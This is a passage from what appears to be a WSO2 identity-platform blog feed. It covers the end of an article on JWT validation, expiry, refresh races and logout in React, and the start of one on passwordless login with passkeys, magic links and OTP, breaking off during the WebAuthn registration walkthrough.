<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="verifying-the-signature">Verifying the signature<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#verifying-the-signature" class="hash-link" aria-label="Direct link to Verifying the signature" title="Direct link to Verifying the signature" translate="no">​</a></h3>
<p>The identity server signs the ID token using its private signing key.</p>
<p>The corresponding public key can be shared openly, and the application can use it to verify the signature.</p>
<p>Conceptually:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Identity server</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  header + payload</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     │ private key</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     ▼</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   signature</span><br></span></code></pre></div></div>
<p>The application later receives all three parts:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">header + payload + signature</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     │ public key</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">     ▼</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   verify</span><br></span></code></pre></div></div>
<p>The public key does not create another signature and compare the two strings.</p>
<p>Instead, the public and private keys are mathematically related. The private key creates the signature, while the public key lets the receiver verify that the signature is valid for the signed header and payload.</p>
<p>If someone changes either of those after the token was issued, signature verification fails.</p>
<p>But a valid signature is only one part of validating an ID token.</p>
<p>The application also needs to check claims such as:</p>
<ul>
<li class=""><code>iss</code> — did the expected identity server issue this token?</li>
<li class=""><code>aud</code> — was this token issued for this application?</li>
<li class=""><code>exp</code> — is the token still valid?</li>
</ul>
<p>So there are two layers here.</p>
<p><strong>Signature verification tells you that the signed contents have not been changed. Claim validation tells you whether this token is acceptable for your application.</strong></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-the-asgardeo-sdk-validates-the-id-token">How the Asgardeo SDK validates the ID token<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#how-the-asgardeo-sdk-validates-the-id-token" class="hash-link" aria-label="Direct link to How the Asgardeo SDK validates the ID token" title="Direct link to How the Asgardeo SDK validates the ID token" translate="no">​</a></h3>
<p>The Asgardeo SDK handles ID-token validation as part of the authentication flow.</p>
<p>At a high level, the process looks like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">ID token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">read the JWT header</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">get the identity server's public keys</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">find the matching public key</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">verify the signature</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">validate the token claims</span><br></span></code></pre></div></div>
<p>The identity server publishes its public signing keys through a <strong>JWKS endpoint</strong>.</p>
<p>The SDK reads the ID token header, uses the key identifier to find the corresponding public key, and then verifies the signature with that key.</p>
<p>It also checks claims such as the issuer and audience.</p>
<p>The private signing key never needs to leave the identity server. The application only needs access to the public key used for verification.</p>
<p>That is why ID-token validation can happen in the browser.</p>
<p>This validation answers a specific question:</p>
<p><strong>Did this token come from the issuer I expect, for the application I expect, and has its signed content remained intact?</strong></p>
<p>It does not make the browser itself trustworthy. If malicious JavaScript is already running in the page, it can still interfere with application behavior. That is a separate problem from deciding whether the token itself is valid.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-failure-modes-you-will-hit">The failure modes you will hit<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#the-failure-modes-you-will-hit" class="hash-link" aria-label="Direct link to The failure modes you will hit" title="Direct link to The failure modes you will hit" translate="no">​</a></h2>
<p>Understanding how a JWT is structured is only part of the job.</p>
<p>In a real application, tokens expire, clocks do not line up perfectly, multiple requests can fail at the same time, and logout is not always as simple as deleting a value from storage.</p>
<p>These are the cases that usually make token handling more complicated.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="clock-skew">Clock skew<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#clock-skew" class="hash-link" aria-label="Direct link to Clock skew" title="Direct link to Clock skew" translate="no">​</a></h3>
<p>The <code>exp</code> claim tells you when a token expires.</p>
<p>But that timestamp is created by the identity server and checked by another machine, such as the user's browser. Their clocks may not be perfectly synchronized.</p>
<p>If the browser clock is slightly ahead, a token may appear to expire earlier than expected.</p>
<p>This is why authentication implementations usually allow a small amount of clock tolerance when validating time-based claims.</p>
<p>If an authentication SDK is already handling token validation, it is usually better to let it apply that tolerance rather than comparing <code>exp</code> against the browser clock yourself.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="expiry-during-a-long-running-interaction">Expiry during a long-running interaction<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#expiry-during-a-long-running-interaction" class="hash-link" aria-label="Direct link to Expiry during a long-running interaction" title="Direct link to Expiry during a long-running interaction" translate="no">​</a></h3>
<p>Imagine a user opens a form and spends twenty minutes filling it out.</p>
<p>Nothing on the screen changes. The application still looks signed in.</p>
<p>Then they click <strong>Submit</strong>.</p>
<p>By that point, the access token may have expired, so the API request can come back with <code>401 Unauthorized</code>.</p>
<p>From the user's point of view, nothing went wrong until that final request.</p>
<p>Your authentication layer therefore needs a way to obtain a valid access token and retry the request when appropriate without throwing away the user's work.</p>
<p>This is one reason refresh handling is usually better centralized rather than implemented separately inside individual React components.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="refresh-races">Refresh races<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#refresh-races" class="hash-link" aria-label="Direct link to Refresh races" title="Direct link to Refresh races" translate="no">​</a></h3>
<p>Now imagine several API requests fail at around the same time because the access token has expired.</p>
<p>If every failed request starts its own refresh, you can end up with several refresh requests running in parallel.</p>
<p>With refresh token rotation, the first successful refresh may replace the old refresh token while another request is still trying to use it.</p>
<p>That is the same race the single-refresh pattern earlier was designed to prevent: one refresh happens, and the other requests wait for the same result.</p>
<p>If your authentication layer already handles refresh coordination, avoid adding a second refresh mechanism on top of it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="logout-that-doesnt-revoke-or-end-the-session">Logout that doesn't revoke or end the session<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#logout-that-doesnt-revoke-or-end-the-session" class="hash-link" aria-label="Direct link to Logout that doesn't revoke or end the session" title="Direct link to Logout that doesn't revoke or end the session" translate="no">​</a></h3>
<p>Removing a token from browser storage is not necessarily the same thing as logging the user out.</p>
<p>For example:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token dom variable" style="color:rgb(201, 103, 101)">localStorage</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">removeItem</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"access_token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>only removes your application's local copy.</p>
<p>The access token may still remain valid until it expires or is revoked, and the user may still have an active session with the identity server.</p>
<p>A complete logout flow may therefore need to:</p>
<ul>
<li class="">clear the application's local authentication state</li>
<li class="">remove any locally stored credentials</li>
<li class="">end the relevant session with the identity server</li>
</ul>
<p>The exact flow depends on how authentication is implemented, but the important distinction is simple:</p>
<p><strong>Removing a token from the browser is not the same thing as ending the authentication session.</strong></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>A JWT starts out looking like one long, unreadable string.</p>
<p>Once you split it apart, the format itself is fairly simple.</p>
<p>The <strong>header</strong> tells you how the token was signed.</p>
<p>The <strong>payload</strong> carries the claims.</p>
<p>The <strong>signature</strong> gives the receiver a way to verify that the signed contents have not been changed.</p>
<p>But understanding those three pieces is only the beginning of using tokens safely in a React application.</p>
<p>An access token is a credential, so you need to decide how long it should remain available and which parts of the browser should be able to reach it. localStorage, sessionStorage, memory, Web Workers, cookies, and BFF-based architectures all answer those questions differently.</p>
<p>An ID token introduces a different trust question. Decoding it tells you what the token claims. Signature verification and claim validation tell you whether those claims came from the issuer you expect, were intended for your application, and are still valid.</p>
<p>And then there is the lifecycle around both tokens: expiry, refresh races, reloads, logout, and the possibility that JavaScript running in the page itself becomes compromised.</p>
<p>There is no single browser storage choice that makes all of those problems disappear.</p>
<p>A better way to think about the problem is to ask:</p>
<ul>
<li class=""><strong>Where does the credential live?</strong></li>
<li class=""><strong>How long does it stay there?</strong></li>
<li class=""><strong>Who can access or send it?</strong></li>
<li class=""><strong>What happens when it expires or the session ends?</strong></li>
</ul>
<p>Once you can answer those four questions for your application, the JWT stops being the complicated part.</p>
<p>The architecture around it is what really matters.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[Passwordless Login in React: Passkeys, Magic Links and OTP]]></title>
            <link>https://wso2.com/identity-platform/learn/passwordless-login-react</link>
            <guid>https://wso2.com/identity-platform/learn/passwordless-login-react</guid>
            <pubDate>Mon, 07 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Add passwordless login to a React app. Compare passkeys, magic links and email OTP, then implement each with working code and honest trade-offs.]]></description>
            <content:encoded><![CDATA[<p>It's not a secret that passwords are unsafe.</p>
<p>We ask users to invent a secret, remember it for years, never reuse it anywhere else, type it correctly on every device, and somehow keep it safe from attackers.</p>
<p>Then we build password reset flows for when all of that inevitably goes wrong.</p>
<p>Passwordless authentication changes the model. Instead of asking the user for a password, your application can let users authenticate using something like a passkey or a one-time code sent to an email address or a phone.</p>
<p>In this article, we'll take a closer look at the most common passwordless authentication methods, compare how they work and the trade-offs between them. We'll also walk through how you can implement each one in your application.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-passwordless-means-for-a-react-developer">What passwordless means for a React developer<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#what-passwordless-means-for-a-react-developer" class="hash-link" aria-label="Direct link to What passwordless means for a React developer" title="Direct link to What passwordless means for a React developer" translate="no">​</a></h2>
<p>For a React developer, passwordless authentication does <strong>not</strong> mean React suddenly becomes responsible for authenticating users.</p>
<p>Your application still mostly does what it did with password-based authentication:</p>
<ol>
<li class="">Start the authentication flow.</li>
<li class="">Collect or trigger whatever user interaction is required.</li>
<li class="">Wait for the identity system to verify the user.</li>
<li class="">Receive an authenticated session.</li>
<li class="">Render the application for that user.</li>
</ol>
<p>The major difference is <strong>what credential proves the user's identity</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-three-methods-you-will-actually-ship">The three methods you will actually ship<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#the-three-methods-you-will-actually-ship" class="hash-link" aria-label="Direct link to The three methods you will actually ship" title="Direct link to The three methods you will actually ship" translate="no">​</a></h3>
<p>The most common consumer-facing passwordless options are:</p>
<ul>
<li class=""><strong>Passkeys</strong> — authenticate using a cryptographic credential stored by a device, credential manager, or hardware security key.</li>
<li class=""><strong>Magic links</strong> — send a short-lived login link to the user's email address.</li>
<li class=""><strong>One-time passwords (OTP)</strong> — send a short-lived code to the user's email address or mobile phone.</li>
</ul>
<p>We'll look at each of these methods in more detail later in the article.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-the-react-apps-responsibility-starts-and-ends">Where the React app's responsibility starts and ends<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#where-the-react-apps-responsibility-starts-and-ends" class="hash-link" aria-label="Direct link to Where the React app's responsibility starts and ends" title="Direct link to Where the React app's responsibility starts and ends" translate="no">​</a></h3>
<p>Before we get into the individual passwordless methods, let's get one thing clear: your React application shouldn't be the authority deciding whether a user has successfully authenticated.</p>
<p>In many setups, especially when you use hosted login, React simply starts the authentication flow. The browser moves over to the identity provider, the user completes whatever authentication method is configured there, and once that succeeds, the application gets the result back.</p>
<p>So from React's point of view, the flow is often surprisingly simple:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Start authentication → identity provider handles authentication → continue with an authenticated user</span><br></span></code></pre></div></div>
<p>If you build more of the login experience directly into your application, React may do a little more. It might collect an email address, display a code field, or trigger a browser authentication API.</p>
<p>But even then, React is still handling the experience rather than establishing trust.</p>
<p>The actual verification should happen on the server or at the identity provider.</p>
<p>Keep that in mind as we go through passkeys, magic links, and OTPs, because the amount of work your React application needs to do can look very different depending on the method and how you choose to integrate it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="choosing-a-method-the-comparison-nobody-publishes">Choosing a method: the comparison nobody publishes<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#choosing-a-method-the-comparison-nobody-publishes" class="hash-link" aria-label="Direct link to Choosing a method: the comparison nobody publishes" title="Direct link to Choosing a method: the comparison nobody publishes" translate="no">​</a></h2>
<p>When choosing a passwordless method, security is only part of the decision. You also need to think about what the login experience looks like when things go wrong, and what it costs to operate at scale.</p>
<p>Some useful questions to ask are:</p>
<ul>
<li class="">What happens if the user loses access to the device they normally sign in with, or the device is simply unavailable?</li>
<li class="">Can the user complete authentication on a different device, or does the method depend on the original one?</li>
<li class="">What does each authentication attempt cost, especially if you are sending emails or SMS messages?</li>
<li class="">How does account recovery work, and how often will users need help from your support team?</li>
</ul>
<p>These practical questions are sometimes overlooked in favor of security. And yes, security is important, but so is the experience you are creating for the user.</p>
<p>The best choice is usually the one that gives you the right balance between security, usability, recoverability, and cost.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="comparison-table">Comparison table<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#comparison-table" class="hash-link" aria-label="Direct link to Comparison table" title="Direct link to Comparison table" translate="no">​</a></h3>
<p>With those questions in mind, let's compare the most common passwordless authentication methods and see how they stack up.</p>
<table><thead><tr><th></th><th><strong>Passkey</strong></th><th><strong>Magic link</strong></th><th><strong>Email OTP</strong></th><th><strong>SMS OTP</strong></th></tr></thead><tbody><tr><td><strong>User experience</strong></td><td>Excellent once enrolled</td><td>Very simple</td><td>Familiar, but requires copying a code</td><td>Familiar, but requires copying a code</td></tr><tr><td><strong>Device dependency</strong></td><td>Depends on passkey provider / authenticator</td><td>Requires email access</td><td>Requires email access</td><td>Requires phone number/SIM access</td></tr><tr><td><strong>Recovery path</strong></td><td>Another synced passkey, another authenticator, or account recovery</td><td>Recover email account</td><td>Recover email account</td><td>Recover mobile number/account</td></tr><tr><td><strong>Delivery cost</strong></td><td>Essentially none per login</td><td>Email delivery</td><td>Email delivery</td><td>SMS delivery</td></tr><tr><td><strong>Phishing resistance</strong></td><td>Strong</td><td>Limited</td><td>Limited</td><td>Limited</td></tr><tr><td><strong>Browser support</strong></td><td>WebAuthn support required</td><td>Minimal</td><td>Minimal</td><td>Minimal</td></tr></tbody></table>
<p>To summarize:</p>
<ul>
<li class="">Passkeys offer some of the strongest authentication properties of the methods we're looking at. A WebAuthn credential is tied to a specific relying party, and the private key never gets sent to the website during authentication. We'll get into exactly how that works in a bit.</li>
<li class="">Magic links and OTP trade some of that security for extremely simple recovery and onboarding.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-recovery-question-that-decides-it">The recovery question that decides it<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#the-recovery-question-that-decides-it" class="hash-link" aria-label="Direct link to The recovery question that decides it" title="Direct link to The recovery question that decides it" translate="no">​</a></h3>
<p>It may sound counter-intuitive, but your recovery model decides which passwordless method you should use in the first place. A very secure primary method does not help much if recovery introduces a much weaker path back into the account.</p>
<p>Suppose you make passkeys the only authentication option.</p>
<p>Then your user:</p>
<ul>
<li class="">loses their phone,</li>
<li class="">buys another phone,</li>
<li class="">cannot access the original authenticator.</li>
</ul>
<p>Now you have a recovery problem.</p>
<p>For many users, synced passkeys make this much less painful than early FIDO deployments. Passkeys stored by platforms such as credential managers can become available again when the user signs in to the same provider on a new device. Cross-device authentication can also let a credential on one device authenticate another device.</p>
<p>But eventually you have to deal with the harder case: the user has lost access to every available authenticator, or they can no longer get into the credential provider that holds the passkey.</p>
<p>What do you do then?</p>
<p>If the answer is, "we'll email them a recovery link," then email is part of your authentication security model whether you intended it to be or not.</p>
<p>That's why recovery is not something you bolt onto passwordless authentication later. It's part of the authentication design from the beginning.</p>
<p>That was a lot. But hopefully, you now have a good high-level understanding of what goes into designing a passwordless authentication system. Now let's get into the nitty-gritty and look at how you can actually implement each of these methods in your application.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="passkeys-and-webauthn-in-react">Passkeys and WebAuthn in React<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#passkeys-and-webauthn-in-react" class="hash-link" aria-label="Direct link to Passkeys and WebAuthn in React" title="Direct link to Passkeys and WebAuthn in React" translate="no">​</a></h2>
<p>We've thrown around the terms <strong>Passkeys</strong> and <strong>WebAuthn</strong> a few times so far. Before we go any further, let's properly break down what each one means and how they fit together.</p>
<p><strong>WebAuthn</strong>, short for Web Authentication, is the web standard that lets applications authenticate users using public-key cryptography instead of a password. It gives the browser APIs for creating a credential and later using that credential during sign-in.</p>
<p>A <strong>Passkey</strong> is the credential the user creates and uses through that system.</p>
<p>Users typically approve the use of a passkey using something they already use to unlock their device or credential manager, such as Face ID, Touch ID, Windows Hello, or a device PIN. Passkeys can also be stored on hardware security keys.</p>
<p>Behind the scenes, a passkey is based on a public-private key pair.</p>
<p>The <strong>public key</strong> is registered with your application. The <strong>private key</strong> stays with the authenticator and is used when the user later signs in. Your application never needs to receive or store that private key.</p>
<p>Now let's see what that looks like in a React application.</p>
<p>Adding passkeys involves two flows:</p>
<ul>
<li class=""><strong>Registration</strong> — creating a passkey and associating it with a user.</li>
<li class=""><strong>Authentication</strong> — using that passkey later to sign in.</li>
</ul>
<p>WebAuthn calls these flows <strong>ceremonies</strong>.</p>
<p>Let's walk through both flows.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="registration-ceremony">Registration ceremony<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#registration-ceremony" class="hash-link" aria-label="Direct link to Registration ceremony" title="Direct link to Registration ceremony" translate="no">​</a></h3>
<p>Registration starts when a user wants to create a passkey for their account.</p>
<p>The first step is to ask your server for a set of <strong>registration options</strong>. You can think of these as the instructions the browser needs to create the new credential.</p>
<p>WebAuthn defines what these options look like, but it does not define the API endpoint you use to retrieve them. In this example, <code>/api/passkeys/register/options</code> is an endpoint we created in our own backend.</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> optionsJSON </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/register/options"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">credentials</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"include"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">then</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter">res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">json</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>Here, we assume the user already has a session with the application. <code>credentials: "include"</code> allows cookies, such as that session cookie, to be sent with the request so the server can determine which account is creating the passkey.</p>
<p>The server then generates the registration options and sends them back. A simplified response might look like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"challenge"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"base64url-encoded-random-value"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"rp"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token property" style="color:rgb(12, 150, 155)">"name"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"My App"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token property" style="color:rgb(12, 150, 155)">"id"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"user"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token property" style="color:rgb(12, 150, 155)">"id"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"base64url-encoded-user-id"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token property" style="color:rgb(12, 150, 155)">"name"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"alex@example.com"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token property" style="color:rgb(12, 150, 155)">"displayName"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"Alex"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"pubKeyCredParams"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token property" style="color:rgb(12, 150, 155)">"type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"public-key"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token property" style="color:rgb(12, 150, 155)">"alg"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">-7</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"timeout"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">60000</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"attestation"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"none"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>There are a few things going on here.</p>
<ul>
<li class=""><code>rp</code> describes the <strong>relying party</strong>, which is the website or service the passkey is being created for.</li>
<li class=""><code>user</code> identifies the account that the new passkey should belong to.</li>
<li class=""><code>pubKeyCredParams</code> tells the authenticator which public-key algorithms the server supports.</li>
<li class=""><code>challenge</code> is a fresh random value generated by the server specifically for this registration attempt. When the result eventually comes back, the server checks this challenge to make sure the response belongs to the ceremony it started.</li>
</ul>
<p>There is one small conversion we need to do before giving these options to WebAuthn.</p>
<p>Values such as <code>challenge</code> and <code>user.id</code> are represented as binary data by the WebAuthn API. Because our server sent them over JSON, they arrive as encoded strings.</p>
<p>The browser provides a helper to convert them back into the format WebAuthn expects:</p>
